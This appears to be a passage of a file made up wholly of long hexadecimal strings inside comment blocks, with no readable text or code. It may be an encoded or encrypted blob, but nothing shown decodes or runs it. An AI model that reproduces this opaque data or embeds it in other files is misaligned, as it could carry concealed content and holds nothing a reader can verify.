b7828e36c3cc732e53bb67b7f75d0ff9c65fb48ffd5194f40b0c1fa41edec2ee439b8d55f6b515bc16a6df19b0c544d07c4eba92691a8b1714630f372bc8142463da17af5177162a14e45eafeb308c875147179ceac99d60a27e7edda13c2292a3ae0adfddb599523e7c25807d9041dd5764b0b410820e65321cf42205df6f4093bc808d84e60517baab28be9cc0710dc0220c39e0c1afecaa05713e0ee396efe3cfa63e9c22d99d79bcff7161865b2929f64d5f3048243d40cd3f9c264a557805199d81263434a2f7f20d610af9eb7059cfc4c9b3edb70532ed664599e641ee6cba1143aaf3499ae9ee2e42688a8e04811d73bf2ee8737433236672eac0efca261014707a4c02fa1cdeb4ced8b0d85d7aa83f02283c0510fc38d335bea844a84dc0f4873e67ef330ec14b31952d9e3ed1d6578f405bbf9a62e030473defaf4657e5fce61a2610e9b9f7f932f215bcf3eb3b613f2ada1435b4dba07acfb9f41e178c103791682fa0f818c75a36d3885ef20cb49cb19baf1b0aea22991f07e9c311c7fba09a0b028a40e816df11e6f3c37cb9f725035b5eba576d2618385f558a8d2df64d5e8e7ce31127e5f36001676f6a9446d5ceb2290f15e97972*/
/*a8c25b45bd6a57db8ae85618d9d3326239242d128597bc4acf55d38dd6daad6b15bb36e19b3ac8e30d64aae1d809cbb39aca4ded0d4f50b7cad60653e9a8c707ea2c3c0d52e1e52af8ea22501d24b14bce57e7be387eda4ae1262e4c89d5e9b386938d6316a43a7131e4fa1bc7eb9d71330fe98d5eb92f3e83a6427dd4b697d38fff77a992c9450f14831e765356cf05cb0b75f67505607b0ce0e258bf1708c407562b927b51b5f8170dc134495b8aaf3ec9227ea0f665d804aa9f7368345f53df5fb54f8b0643640ab4d0f6b8c7f41160e9d6adc045d133603db72495b077fbe4dd3ff0c4817061e87235bee8d4967c7bbab5fb237e53b837fd7164a9e2d3142c3ce6f7db27bb7abef88c27ddeafc5bb908f17b9e6df11ef3b93003b7087fac2a2be7af6d1df3b7cff2131ec554aa46a15225d1e4eb8c5f64bd801f3f81d9a6223703b6fe77d933510b85e9f9c489cd167600cc14f1cf47a7ee33f98e20aac8c6fe7f736dc6570e45d2592556b214aa9b6aff1378abe9494877b60d9c7c313078111d360143e6af3998570c214df2d125f5bc8cade20687df2e9d13789a5b3bcdf9ef54bb6222f3a2ddb61c3226c7b367319998675e01d48fa575513c80fb6315c9f787858c1609f1bcf03b6d83d5b17c497ffcebc7f27cc3e3d57fdb0449edfe3e4947cd7112025d7472dc38d7f2ab0e16f740519e3d8b1547cf2a788f6373b73d7e64fc772c8af694e3616c03fe1238814e09a0a42eb28ede367f72b8c0841b3910371f3bd2a572a7c1530ecaa3c8dad01afb6a916b42c335d7a30791fce4954348238fd51f7d2a348be2cadab5aba1b74f5055520400cdad7944149eb23084a94ec669dd1ca55f811c93b81141e24db1c75df6fed2b039846cc1883fdae485315d973dcbe825a7c9f4f546465ede2cc79147d9cd35f9c497397b52c838ecb62f2700167178125157b0967b9fe6c09caef153368612597540fc75175b1a1a7b67ee26e99026d59fa7ab687817942bcedb5672e876df7a29c8f8b0f46089675ff368cb87d60bcd1bd379e9f158580d61a95196b6b85c05df62764afb776fe0e5b2e80f7e64347b97951509b48e9c4ebba93e718a5ec6cb1ccde0e1c2d4c7226fcd3a5e83a0e3876a43e571b55456dadbab53b6b7761ef86ef057539dfc8822ff0a89c878b812f4ffe70186b6499b47cce16e18f5bab85ec9f2ce27ea8bfcb3e6b14d851b9f7e957d45c99df24623a6ba241e32d221a3d13a66885e2f44d7124358ede06cec8be741790f0f30fda4985165c9d016f0b6af657e64a9ce2eee0f7d8501dc32f1378124d6b7784950d4d7dae7ac5b979e0d92667ae972d7dfde4f47e29ef96418cd678d596283ed3bf8bdf3e3128208212b5385986a29795f5465d46eb1dd5b8bbd567cea641f5b659661a6f745f45ed3ede929a2f943edb5336346b6a4b97269d92f56a33a1ee216fd8474eea99fe74facd243961bd6f13a5d1feac06da4dd4eddd5ca7d7a203f259a767eb5ba8ddb757c0de24bdc735abf51868a2d34a602b9dbe1cfff2ef427591581a6e5f04b5b3b34c8ce4f14260fbcbed21aea841d3910871e218773893ef0c07e034dc851d0ea6e26133ef14a7cb66466d24a9619e572640750f9f1e47be5eb609c318304dea8e950bd20c7f3514f43cd6484d23cb54392e5360618bee1bfd75a7920f4a0480f414e7fbbc7ff09928444beb4483c4b07ddd171c67188364f4607e1de7a9860be9f9f7ccafdae194d9801436e9df572ef3172ba6f8a375dad9ea5688cb77f0cc8356a362cf999c31bdcf90dda81cff275c1157e06d99bf715b585118e74613ad88cbc2958953be8785d187fa86e79cf831ed9cd5113ab843ce5ea82119cdf8bc89c935ce89585cffa8335118952ac4a12444a002a3b19b2390817e1b3e37433fedb1c86518dc6dae97353e7ce4f6653485ffc739fa29cea88f77e844af40b2565a51d07202c493bc4693fe2cbd713b982cfa87438fa9bfde9ecc1bb69f1e38a348f2bbf6a050fc272a32153a84fd651f97adba5c415033c1ccf41729927bf3952dc70ebcc3cb20879e4f4ea80b7da1611f0e978a322ef8a301c9e7b587b718aa381731b1db60fc8d347415a137c9a8c83fc5941a68e4631e72b553924c4b7f80b50b0630d14abd7bb5ac3387da133a3421ff892627e8222f0ac78fc377e19c06c3c9044d2f5436223749e05be768881b9cafa1d04462c688f4e6659959ab143630e8c694879aba473dfcab9b3efdc2ca4d7be1178efe89e4df0f6c48e4ad8ddff12362f55cdf8268fb7a4ad5eb436a6138b33b0ca3e89df62d7f4749bdd251f04d0de4d2cb4fcd7d7e9668c816a1ed3e3cb29663ddca7a934ddff520b3e3fcd4fb2b12e6e7e35294d7040a9bed2440cb2f10910bbd3e872d02bf02d09c7de955d29d4738bd8d4665beca43cc3d641bf41398f1e8360fa95a0b452573caec86a106905242dce97bdc1592a83ff45cfea6dddffbdc7a0cb8b704946d177f70aaa2002d83ebc70ce7bfe585aa76d36275e535ae9084fdc46d453e3184abff7b669c3d301d8fa34cb49873639ce399fd0c7d06bf582f1decac878dc64d21518ef464b6f3c19eb304d1e801a4b378dee6135a1fe17fb789156f048f604d28ccd9d3aec4a3a4855602f2c98e9be52ef0e39da9526eb01c728380aa0190dc51ce9d5323ba4efe5919650e9ea531c0f888ddc81fa52b669cca30ac2fb7a7a7fe01f62c86d4cc8e0b2c037a326e7b0c46f812705949b27e428badd236b45ee68b406c899e84c73a8781ad0bd8af57f634f3ee9b6890f19933b68501e5b9f1d*/
/*4502cb9c21e0f9c86eff595e3ebe6a856c71d9a73934e460fd5d4f79ae730e79851b9f1aeb524b55696a7a532f4f26300aa9ccb56d94c0efdff1564796f1d716414004058d4322f55b35c6d9e67d694da508ca5f0cbde032f3eadc6f95a7af56e9ae9eba01e8db4e335e879a1477d3fe174b756c7b9d17840c91bdd2c37c66023a120a5152a4daeff496557b929aefca1b11c34361626e6a4779b257f822c070b712eebed33512e54f54fec7008bf2c19580a6fb33b9b42cba194a146e31b63a5e0fe13b125912af999f4c18fd18a36b523e022a1dffa3b5da7d71bbf6380b8d7ada0deda5e660817a41d6755f33b28ab2debe191e6f2f11084f27fa70aaa16cef6d85b5bdf7c35e1091c24cbdd8e86cc5bc5079fb5376855c4e0aceb8b1de2f4a8b5f2e525ee5d345b6a0cbf0d3d27394333b8fe2c6060c36ffe7d7d299e2f3edf5328991c655f56fa48c6d426777b4fee4693e65c1bec75809294c4fc8e1db4d72b5933b59b5f9280c9afe3eb7b5cf21980f6de3216e10d0d615ae620631ce22232e25180a58d3d9a631c61eda0eceea2751e6350689b2621c93633334ee282cdb7b5c926e89726fcbe2192b7ca584e7f449c54e93f9f410b0eb36881de8b8856f858618fce9cd4d350bebd1b4816775218503c7d952e6474068982ea6241b77e6e951472cb2064351fcaf04c12086596a9bde8e519664bc5f1709942b186e0b14dcc5b51894ba41fc90578bbc10e00cd638948370cdcef261a81d3b987763221f83e601231e4575f8435118587c38439f6e057c8e23b90082220efc2c238beeb7453b89fcd56b7c708863352a0888b8fc211bde003840ca747fa077620e4771619556f8ae4915c4b6da80fe7f397f0e4e2ecda73fe91a6475f479a743c6fb1f3b2724212d5b30fc32004c339f3ecadecd7934ffe3f7a4a6f8df57e614d0f108be3e92364fcf5879e016fbdee0ad335c609de403197d0402707e5ca88c6df1e922393ac4bf0847802ef16cc4c524f9e1a38a233777a5528b65c51b6445569fc75f315fecac3012d60b99db4a41378c7c1123c4d4455cbe443c4a3870e353047c7d441b17a51395db17eff32809ab27f06643bfcc7ea904cf086a3e449fe9ed4de13e9b081a89939692aec1ef9fe228ccf362610e0dfa927fc72402890b10144c4383696480c875b6a43bbbca8ee0bad047752c6494a22fab7e1bc071756bffa536ecea2d57c27155e2628e72d4cd8119f8d836f443a3889499868bf60e59bf82fbab65f5e9e391a6860b1c7d6e51815cff1b6fcbf8bced960cf7fa238ca88a785fb6ec345b57dc59e8d974f6b1ba242bdd6c7d2d5f323219fb7304a0ce2525a520f2a3f984994fe5ad67999e7d7537f28bbf34c6dad5676da2aca9e3ca7184d7d0f973fdef6e88a46aa05c180e9316b91c95b5c8904126f47429986cdecd31d28027e0e9ebd64ded4303daf7331e6fb69bed0e4557058b871c64946aea22d726d43e61b93b172ec04ce2d6ba6bc64c2076cb9065b8bd1db1b3b96e1c03063280fb9b69f7704d2c1c18183d3c250947b00f7df88f1f0fc8a3a52db9cf307c7a2588b59bc90ed1d871d892581d6c51a3f42f982c6375562f1c33e960bb6edb56f29137f5935d1cef0804a923b4701623162964205b4b7454e2038e01e67214473d8fbf1f633b6b3fb41fbeaf78bd6e804ab67736205b44097d8c82e9dc0ba18292c909b51280dd1cbc8c4f2b1cd79c65863f7a2c4c1c294e803bf5ccfc9a08e8c8d9b2eb4be4016ec51eff45a0e8d5593121c68d494636793716d7d0c7eff9e5897da9c6d631b4de99becf263a68853ef7b461bb30ea1f53854d4cef9595c23d0060642df15e0c1d718398cd42322b637a13a62fbebcdc22ae598d98084a74e0973bc6c9c7b0f0e8f15e747245f081469900c80312b8207f9135f273d5af62deca72f40913258e4353f4bd9ec460553b7f57ab6fb25ca6d2d7aabd0366de422407532d879a1ebb3072b1527fa59774beafac8938681c99ac67faf4da866d2f446bce669afd513b9942f27a4b2d959e502ddaa15a3e585aa624ac9c10a0a9a9d6fa33e8e80b153b8f0075fa1d3cc8533744700a08bb92aedbadee48f013b59d13a7072fc3825448ebcac7ffcf182668f64b0d8a97fa1b654e77ca002a759ab9dcc7c017151e641ca094d562db666d70ac5fc43ac4678a2bdea2cf44ec4800d1e27412e4d189593fe47f6e2f394d3c04b8d693f34c40c7ecbfcdb7879beb37ed6b2b382d9ac0212a165236411aff1da5eb8f5842c9ea930312c50cd18c4ddae2895bdbb2b06ce72ae36ccc1df15dc9e2b9bec878968a8dd0cbc530c349dff9f7293e5fff0bae1e0fa2101054161335b741e917da7c9fd6be175dacf1789139b394ffc0403fdd24f54442e919a2c15869383f4c481e8a88e633dfc08b1e4f9d2d3a55829db1c585eca2826c441825ccb160f5125653beb43301dcadeace8d7303c693bf7eefa7dafb728314982880917c7942de6410c09dffe5c2e753f16176c9e7c3915f1987a6cb45e4e1c9e24a471c49e66b34a7ceaad60c49c6a2cbea95efe80a9a55c51018a8d0300bbe717be6d080e903474ccde47e7c6fe74883120224ee7776156d0d94e8eb8f93df86ee36ab3e8a124e3e235c2139f70f8b24beeaf77b6d6683f85650fc35b2553ffd4508d76134e6c35563bd57fbe0620865ebdd4b8341b1081ec24958a6ecfd06261e4f35bacd12a06098d3c7cfe7fc91d4f15aaf30d5ff182eca05371a6389ecd63bbec639113c2dcc9ef5f4055807ff7115b51854af479426de29bd4814cd9a64f0ec9ea3*/
/*3142315ebcb444928140972fb5169bce8b19b26f003b54c934928168033f174019cf7cc9c24ef6cab80ed523c656023e381d47e09e43b9cdcae9dbbfb64d1580affce3be840b47f3dbbd3caf487a9bab3ef4ebb309a5285ecee2257e4a144880ff77bdca44ec5a062a00d5dcb41ed38b7364f581dc0893ebc67ff18c64962333b08e3a31ba2cb63e6e92d3484c8eb11cc81217eb7f6c2c4ff2a066012e711dac0cf451a1c32d0d2af77677f7127b1e7531b49977fc6645594491d77efb641856104dd52bbcd5f4f647df9e458b90674918a4d8031c3e5932ab96144bea381a9591ee151d32cb05d657c941c332a94834980c23ac06815f4e08ba3b369176955f380bedaf7b37b46503bc615f18fa88f57b7f94aa1a503336b7a8f5755df71b0b9de40355c04d542407138f6bf47dbe1cbea76f38cbec52f6493f2ccb72484e7fbf97588c4a09800444cc19d6599a0f37be00c30d6764f0734d4ff82d7e377a6a3df22f04a0bcc1e1a4618ae3b4ef7b78e23daa5b4d9023b560215875236bf00905ad4e38a4322f8fd4826d19d50dcb60c554a0b9e4720ed2814b53229c7ea1c6c1f9745643afc2c0adef31ded3d0a0b01f15f45cb356f63bf1f0e2157a520456cd8828d76d696a42be2b1b14dd6a6b64434760f5bcc683ec746e56dd6441d88b58b95bb17fdd2281bb7b509b8fb60a137ab7a90a7d55ace6255ddb70a08b471a998bd5849dd2c5d47e8d205b804247ae5005eb5bbbff8fd6d2f939685273aa51cf82be6d4cf5f924828f5f748efd63fa163d46281f45fa1b2edf1ae5b02c07c0d2ac62108209d176b2a05d5a2588529f3f0b2c1db357d4ce3a09cfac49fe246bff329267cd401d0ce2384d410ea188d933d23c96d21f5ef8441d551391da22ff1b01cf444000ffb44b65c33f2ab98c2a7fa4648bbcfb5470203bc67c7a65b3b4f9c944ddd04531bcd6b0483a08dfa9b9d0228a669aa23ff941400934a5e4d5b2c91038ee21c8c492962254eedbaf5f342d1fe274b2165251b831358601de43b713260e76b39aa87ceb3ac41415934ee7ee48ceccc500e982fb0c34b1567c38f8ee07c0e0ceb54b92d4dcfdc38c327d3beaf52fe9ad5ba3125d7a4d03cf6f61f1e00db9d52d6ab4b9950ed849aebea09e8a19fd95e18b9ec6daae77937ce5339972caf6b37ecd7fcb7aab47b1916c311515d2f5bc7870ff94de8fdccc68e8ebf1a9ba3095b777e906137fb0cb92bfc22b4f0186f193a1841070cc91c32f429770a940ca248f90b28ffd5b3dfe91b409a9b5350bca56289dc1de0b9dfc5bafb4c9bb9d5681fc40071e958e8b803b6df773b997e490b07db72b9855641e1abde23f8b7091aaabbc01340757b937c31dc0044bd6e2c5b927deeed9da580d947a8bae10868792bedc2a9b089b567bae4abd4bbd4b6145a9294537f85e43bb5ae91340d3de368276115b379ec3fe26eb94791ee14b595cbcf73388270fd055a08fc568d2b65bb0183ebc91c64078c947019bc6e316a3cd41e587caeadf9d1d39a9afa1d497414df9380f05bc628520a4737b726ee1b4b516dd334fcb007087198c88d1d15dd2a264501911ac5f0f6ad08c15ec897165d2580c919db8dd9cc879b1765664a81b21fb5ac1271741966a65c3c77b83239a3036f86818f1d26e185fdb1420c5eb2593629ab36c0834c4e741c71ff6725ac71d6eb3e7fee3fb9e74c52ec9c004e40e05d2eee479c46a8e30fbac98787a79b78437a2af0f2e8954312c95fc7d9f44f3dda746dd15b73b8eeb97143c0dcec1b3e61c4fcc50fc893924661d6088b31a610d9414709bff05ee926dc91622a58f62c3e9d8b836b350a2ba92fd5d8a6e323483ec0f384c8adf728d27432d775e31e0a7b54710f2f756f9dbf9852aef8057b4395082fec7854f93f36a6d00432da00077ea5d9b6dff073459b4910e8d308f1fff9a06bd3a7f2cab6a82e311abcc2cd791974ba15f7ebd5c15084c8eadc58ce43ebd45e6f29847a163a60d731513833a5bf8a41d098ade8d3c7e39e6d2bfebf819f911f48fee15690b6459405013ddf2ebccdb19ebc4a83af4748fd47883c5fc590f27d61127f35edee1d51a41b8fdc94430cb41e2b33c2fb64d9e5420327556efc7288c4b7c5a50778edc25ab6deafffaa31a13935420d12b2e800329d7892f279e260607f6b3ba269bbab865f7e0214aa19032452e8b6b8c3d7cd91ec015a3ae20d6f015dd2327587d9af257d4ee96145b83501ba6644c043b8989119e44355381e4dd79a599a7c25483624a2c532ab0f203635b212a0adaa8660ad7581e9c85892e7915d66e89c7bc0e120b95d0dd3e419ba5898a2f0dba0902bddb3ad0f2636e73dbf50a9d60740d6ba0d11f32ae6488886be9cb1d8860464db89f681a0324368ce0b8750b138d1c9c6d2d0ff159e35ca9f3fc33f35b31ddef310e6bf6137654d1941b7c6c4c9625b09fe1aebd908f0880293217c951037b120d0409d4d25838d4831a0e52100ca19f91b965cd89e0b8c9ec96ffcf66d706de731b54b97f616f229a2da136f2ac1f5b68f33fc9a1457eb529c9901e353a2fa795f05d244d0a3fc5723832ee8bf404a128ba907d58b67fc22bdf9d67ccbe0226a923a800bef450df529b2c2f575f7c23f4149ed416fd41e260552f98b98ee54c0053fbcc94e3223c2d928d0c5784b8325cce0159ca4e42637ffc63e0c6d0de03a30e469640a56733cc4d98c55cb05c52baf6ee15021abd7e2f63317dd086456639818821b90e6cd90bba148d2fef2fe5c1a90c60717957c3deef14cbc86787edd72f152556db44576c14d5550cd4466536ee*/
/*8459e46859b37ea33b499fc082cc6617f22f3b5c7938b4c17f5dbb9ab71e05b5308e51d09b47263f4b70a6694b4843bb3902836e574a81a5398a4d8bad3d8d3696a91200c2d90b57f86e299e5dfb7ac1b37178368c17c76e42828fe137e1f82741c3305dcac8ca939cdefa52f72e6fa6317d565bfa3dbcbc628d03a0b5adcf68cb543aaa425d9bbac2313a164f13040eb2e91af89eb813e268a9c5b08668fafe07b15604a63572e152d3bca33ebc96e87c5e284f26bfe8b7d4e17f4fd30c31a3793ab0965e2d8d52e54f965aac4d218504dbfa4281f054216ed4f3405b45cc7223425364ed83acde2c96adecbc0aa752513ed31a43c9765355febe78c33e014cf619b04f63659d6d3eb0f312840127e2ef00f50a76956f287c554aff770d509f236fedecc56140105090e72e2fe3915eccfe725aa10bcb359406742a3bb0aa48f3ab14321270f763c55d96428b01d95e802b56b7e8987c16569a65f29d579799379606eda198059929137aa6bb65113b25861da05683877d0b6946d17fedc0e0bdac2b003093960facb649f86f415719d79c775094411e3336135b8fef8ac7ba646868a699bea38303de99c38ec015fe8dff8fdc24fe52ea0fb80074c248169675c6626a8a8582b7962b2803362e29de3dbf2cafd521a3115cc6bd95b57b3e97cfec972aafe3b940dd9f048402abe9e4ca31316be2075420ee31fb6ab31be0f17bb0372289ee8e798838249d07728ce18da8f537f78f430ea82a7edef7809410807c9d87908e4bb0f6fa7ec70b84c6704b4c44be74552fc31019201432dd9dcd54e060d57b8fdade86cecc950786899e5af0fc58623ee80c88531da97007ad116efd27c4f2501b87d3dd247a8750ed52585a517556133ade8e69d20217c7984e187d3307f34f5c0345d4ef27269ae44fe58e721376685d8b34ecc3ddf7145312faa455101d7bc6b8775d0171b7732927f796c41261d3f4de899bc0b92f6c573df0a4bf1d109a6542fc00c7f3ff75be431d712c30e065c9595c8f990193bfc647f1c85da45718915c801263cef96d318e95be1791c3a0eb1b6b81c9143b49382a03546bf6724b6e1b02d317ae41d3755a9b10523f5338e2d49a267342414e288cc76235ff671757d09a5492739ce8e0f8e91e5758fdeaafce2a9ba24b8a39b934cb1a630108f780cf0c6b1ff480beb04006fa28ffd9c839b936bca2e5aef8cdd6293b91a7470ed6826579b50079353446d78e0005de6dba48a85d3ffb2208757b435d71cd7ed4dc480f27c3847f3159562b7d90d016ea110de79b655e9ae0b0efa2945ed08853f9e5f822c81886297a82654b966e23c2c9066be9ff26e4d763158e2af19e8921186e3ecb6c53a387afed9b8b4a6fe79ae80a11ea92180c72ee715abc3293b0a689043e0bceacad90bb30735cf5f4ec3b4db945c32614b97fae658cb0ffbaa9f9cb29ca47e893fdb7193731d2db29259e42c00858b037312b543bef339e7431e2450a3d574b412b74a72d9b94a462e256f5e3fb85f25ccfa65a6dbc50638b8e32a04aaab8a5b2b76053a9cc04bf06d612515b3da0a139aaf7bf0fe885b72d699a726f62b45907d567410560a844d955b14d967ef8b37efa9d6ce526aab425d53c14568d0d91a8b2e044da9babe54a2e2299a23a69d6d1d3f94296308f899b45cf653ce505276f5a44b95f9b6477f6575925422e20342001c355169efd9361b42c69c2052b796f087f7a251711824ffd905f4bf2ea74cef134c5974ea096f42cf8e7fedc8448801b383ccff6a74be2b828650b1b5921c2483b244f7223cc2780f56d2fcb92b1c6ca4ea2010114c74768d2144efccf5ce9e9ea475135f36ffdbcdc64ca9845c229c2b75cd09c796e575a487b3e280c51859806ba33b633191af7b219f1ccefc64bb6ba44f60279b65174979d35ec6377d7c6d01dfb90bb71c2394d2e0cfd131351c0fe729272631e3c0c2759a2f688a348c4ba5ddc15ddb22772155d9c41e1395585d784ae79c31b2b4961ec2964cc95509c2f33da3ffdf5d78fa329fb048444bbe4427e7f02c388d613a64934ba1b6108f7364191e85ce8a01920a0e64c1f33252b53e63555ae9c8be46cfb17fc4eb6f2eeb7a6b91138b05a1d04270b5bfa7a9a5acff794c1cc43fa41ddd21821d91484b3c07124b222f10859f72045432cfcb5c968539060aa351dc3355ba2ea5b44bbd7332c53e92625721cf1ce49ede3829469cd239ad47c480c3a4a30ae137631f83888a63feaf71357728c265d3c3aeb31c3e8b39f8e857d4796e8f20649494512ae5d127a202dc37711dd60744020f643459f944ae5db7335c0bb57b6566b7419412f7ad912af9ecbcc4dc6a82870a337540646e5f7b164bc501f2b6d999fe787a4b0f60875bc004dcfa43f78cba4b2b8a14d7704bb855529c7666f99723dbec5324e86f7edc39e6faafd88afbaed5ffaa04f660097db0ac0488dd285eb7b50b0ea0818ae3215170cfbde2dc8e0c60ffe4110593163d214d929d313778451df99110b193a3858a707c8f6134022dee4fc9a7b6f4b316dd7e07922934a859ab7f38c3ae757e03033e69d4abb9adc2e4fe850e5da66e4972c62dfd4f76bbc0f4585abe07affa4b1d32d4eeb59d68e80109666f4814c9b136530a2575e62b033178cd5fff6644bfc71ecaad0f9279ef3b0fa2d3bb61fed40323fd837f1fe2f10a5d73d2722b5b591cb4d95142fa9e03e966680db3c90ea075695563c97e8ddd04dac190ad5a29e78acaebd2d6d392eb72900e63f8f89d07296433f61603a3505224639a4d95551d5b1531bd9e989426dd3915cc4bbff*/
/*fbf5d7441f4a34e7097c0fa550c1b897892756335935cea8ebacce431431ada018541de09eef401390ef03640511a4c38dbbc540d718c4f3d23c0577557ef41e441e7968f24a18830ab6fb0278f7591e5ff49193568de6b299a4b7046d44492d3a434086d820823214f9baf2fddbef60a1eb5e3c517b8178e73443a96b02a04f208a14c3a507f5d36d113ea3bffb9174ea23d87e5edbd1a7cf586a18824eb79549d0390bd17c145d148d41f0c8f8f161910324a5876a1139e00f8c8512c657dd65e6b06b0cf66c7d5c8a68381b3a00e2c1a5fd9fd0a10d8819b71a6e463df8a75233a4b46dc400854a04ff52e06b11af37e4dd4815a764e75d79df1bf08323b5f2ea77aeb67592bf93696d94b93109ed719cf7705f8d12d83c7f60428b451d715342976b8160e1c2e2c417caaeff816fe31351b53a694621d510940baa44fad3ce584ec8e4b05a3fbed2001d631777cd9f937e6406827a3110e1848826e6fd93fd985ccce990b3a48c4898da42af89ce58412334ca5f87a3d81ee7bfff1fce346ae33e8c8eb3a7f1c424d87c6a6397be86c76fb77b4a48ec7bb79b2f58b2bf69f9e10c332571a934bfa07e1652ff11a0cbd882697a400f91cedd9ec2c6fcfc682c5fee0b923e1a69b006a26bcff08e33e9dfada9fc2f816c3797b9312360f28672bb9b917bf367292ea8844c310855f73b0905965cbce391ad926122b5c41a37547d7d518579b5ec32fbd96f2790aa1eabc0c5b565a13f8b611d6ad191efb9e224bfec8b6be8d15dcc43952558d72bc3c8c452119b1784bbdeaca835ad438938978135a4fb09142e817748ed4ce4bf328dfa650a379439dd95b3112f0135cba99ac7c53b644a2fc1f123ed65ea74eca6b606a6f778c46340f123ec6f24af507914e7d047ebde92be532bb2c922ae79466aa7f7dec0366c7bf2f738d977760214921452f432b9bd37c5cd19660ae7e794293ae5db39c37d3372b77617743e9021daa1c3d47cdab6f9fa7f3c5554a52e4c556cd0da7d76ac06ec50c819dbe306dc31a5352607c2ffc401613be315cc8c278087e33ceab77bff8ea0dd16af31c945ff76ff2d7471c4463818349c1c308d6cf22343161591e68197ca724349e29f2a36233ca0000dc6e91c04c9173eb1ae95dcd4508a809ea711bf6c740b8a8aac784ea121217c4a652fef3bf8cd54678098acb7cdde6e6adb1574b0d4a057540fe65e052dcd9b2d78a42167b980dc2c5550b91472d1063876bca64e640686431663e293af5466b35e3db6628bc1465f0dbdb57faeb899d885de708a11e331c5a3e8848df26105fa9d85f1b2684dd1278bf57dba4586586550ccdbd51f9604fa34646de2cad867644267acf0d49ac4c66570689f823ab3949f0bc45d6589fa7b303a52e7bb1c4dda65eeb8a7a7a583b23d60bd3e359b0b0f555ef93c2bd1de6eaa8223a299a53ab11bb6e1fbc7d54cc2af065bec39709aab07dde98f2930e47ed7d1f45deb2b9d2f0a1c5de56f24079bee2073e47d49b734359788c6603cac06f966412b0bfd6a38912fb946382cfb26cdc64a5172855a707ea88cb6325e5431ddbf8fcc399fee6b0a2c86dd336cf1a07a7c874a7be30203934b589c894c5f96e285b5d18abd2456b8dfda16c08d1edd15299d71894c55771a6dd4bc98df44beefdd5f4f25e1a50a19445d94a92930f36ea7824e58458d842c61113a8511f35c8da2c71202f9b1a2a541870c6da04d0688a35db3ee6da73ad838dcb07b9816a7ec5d4c2c048800f7c23c295a146ac88eeec46efd2a2c7746b55f94c19d1bab3c1d6400d9f2c26a27bc50a3477c0ccc38e8a74d81e68a54273dee919741f9edde6bf388aaa663853759cae49182fedda37b0d811450da7dcd7b91a8349def3941631b6ccaef7fc6ea71f3a3f0bef9585cd4bc0baf1bc34c095c2a651a37460892b6243036c3efe7e5ad4ca2d228d5c9977e45d30928ee49887b7a326b5e59f8bbeca1520d02c0ed9f854b347c2ae6a7fa7f2673a685863153af4371200c75beb7136bf5443732fb51fd2c95fbd980eabb3965980886e73e3368836c61113cfd7aa0f7b3513292f235ed9b3e149fc0dc20ce593474a2fcbe046f6ddd0190a5e214ad76d23ede8522bb0c57ae316a20299c60e44825be74af577e7da084c461a44a5ee49fdc5b482d2fcaa972ee76c63af5f458160dc1e4998be8eeed4df69e37a1d97a3d1e1ac96dd2fe21e05a97bb7708334c8d6fcfaa4c11c2113f3748e0cb4d457773e393bd660df6ec60a72bee62289a4b94e93ae0460cb2b9c60d86b9d8ba549c8e52e3dd8eacce4b34ed5da44c867a1c2b65d81c2a8a64d0af747b72d07cfd2a03e517b332f9453a2a49c747c07ad4d9d170b0f76e11efad11830a66233563f26871c33fb1f23f771478ce6689a3a85ee2db39209b2f09f7b7a68431249ffb6f06920371af6c27dffbedf453bbdd8512f20484e657be7bdaaee1494aaab19ad132c47468ccb1f042ca411acdca96c7a9608387586b60bce1b7c6410e6656d3d5f7245737b3fb4a6dbe6f8b529b87d959c790d61beb2d4bc3eda2ac6f84e61900166ea802b01f4a0c1ad1fd88e9d4728f17eed4f0249cf28c3fdc1839478a5729b2072f3af966fbb049fbf8d82634a645673831f8dcd46b705f8588d3edda78f2ed7f45289b090eaa933b7938963c5c6126287483602f1716bfe2dec706e9476abcc74588abfe35614094e73cc57a2202fc6b4e7b94ccf6cd92c5cca25ff5f327c3792b3ee8774404bf7a866ddee6d7a2d0f03cf7c48dc95284a2896b4f2e1cc6cc8f946fccaa4af5cf2e145fa84241ef*/
/*4de3ff03737c4628a241292cc2755dc579dde51dff42f9364dadc8defa5bb7f7278c0906f8a8901e6218b04aede14ac0debe6635d33fb673ee039968dd6d648453873c6eafe508f97135795297dd58e410e0a76039df8192b2fa8d2c41720c9dad9c90faeb3314bc4a8f7933127a75c0b66ed8cc20b761aee953007dbf366438f2eb657c4e2b81edd88283d1fe1d62fe25d18855cd30ade7be6a22fdb6cb05a2a99397066bb73420af3a4f685274f1f2476bb3c17448385fd65df85a2af340b6f71ad91efe06f8aac37f571f7d9fd23cefd229c06f88ee51cf41053218e857962b496304b20905e64179d7545effc16482e55a4b9423cf5282f3627c2bb2ff5f6a229f23329267b320220804217cbaee78b1a9bdc25fa6ec4c51fbc25d954dd3fc053164f5372765b9f11cff5b05dc9ca680c08858ef28ac13193e427974abfe25016efc11dfcea3e044a4f161242a8405050ca95b819148a7162af833ee77d000bb6bca0a1d6133b0e03fd6fce44edf55868be3be57174b299709aacacf943de6520de97a55acd01e2c396088facb19fa5b070dc61bb0f20e2e199c7172fbc09a7a5ea73ca46427ae7be07eaa0d37abb1e59b7edc96407bbf4eb2ea07fb4af5044ab4ee699ac5ae490cf04951ebeb5a78ac72839ee3eb1b242dc5e39ab4ce7355305f536181057df8c4c573b883afaf930f170952ec0f51209aeb73727ad0479a238cbe8adcc9f48aa9c327a8ee0ff30589328c28278f21e729e4dc1cbc399ae2801791eb670a4d75ca72f9305bcede33c40d13a977b59a7d139fed221fac3e34852f11fe44857ddf7193357de2374df9f5ba3e15c7942344dc8efab65bc8b39cd31f2cf2b167f164b33c2cfa3f368978d7a4be5065e51627a74566f65f4a3d5a220f9665cd4fd480287ee95bbedf91aa2babdac244c28ecf9546ac9056db18d625e2647c90b13259bee01d4d50bc42f2834dbbbedff31ab94743c5de452a4e7d16eafb9abb7c9fb1ac8a64fc34f3664bf7ef34f7301a0f9bd93a29fa3ce4fb5615d562a0c75f31817d283b0a88f9fb0e6b31634199cfecfb580352a0b592380f2c6c07c82b41dd09464f3a00647d0f6232ddb8b9c08e064473875e2d5d5b277efdc2d467d4fafc0c81ed3410927eec5c4427b678f907a08007b8b7794c59607d063e7487c1136e5537c41c317302e032d3fe69671253b3e7f4ea62c0b515e8e2154f591f5cb33def5f0afb51a291946b5fccdff087c179a59ca0d60b5b13ae4dbc7de77ebb893c2ba0791f645e1cf3bef41d15f50284cf16b850d2c39dc1bae46bb5fc08f893d16f88c065c2b4c72175ce7950798dd181940ec311364c1f22b6c5c33410b47e8f7df1b5c2d8aa85b7ed6fd6ed6ab09ab00a14efe5eaeb57f3a185a224e0500a1f487ee6ab21f7cbb225b650c5c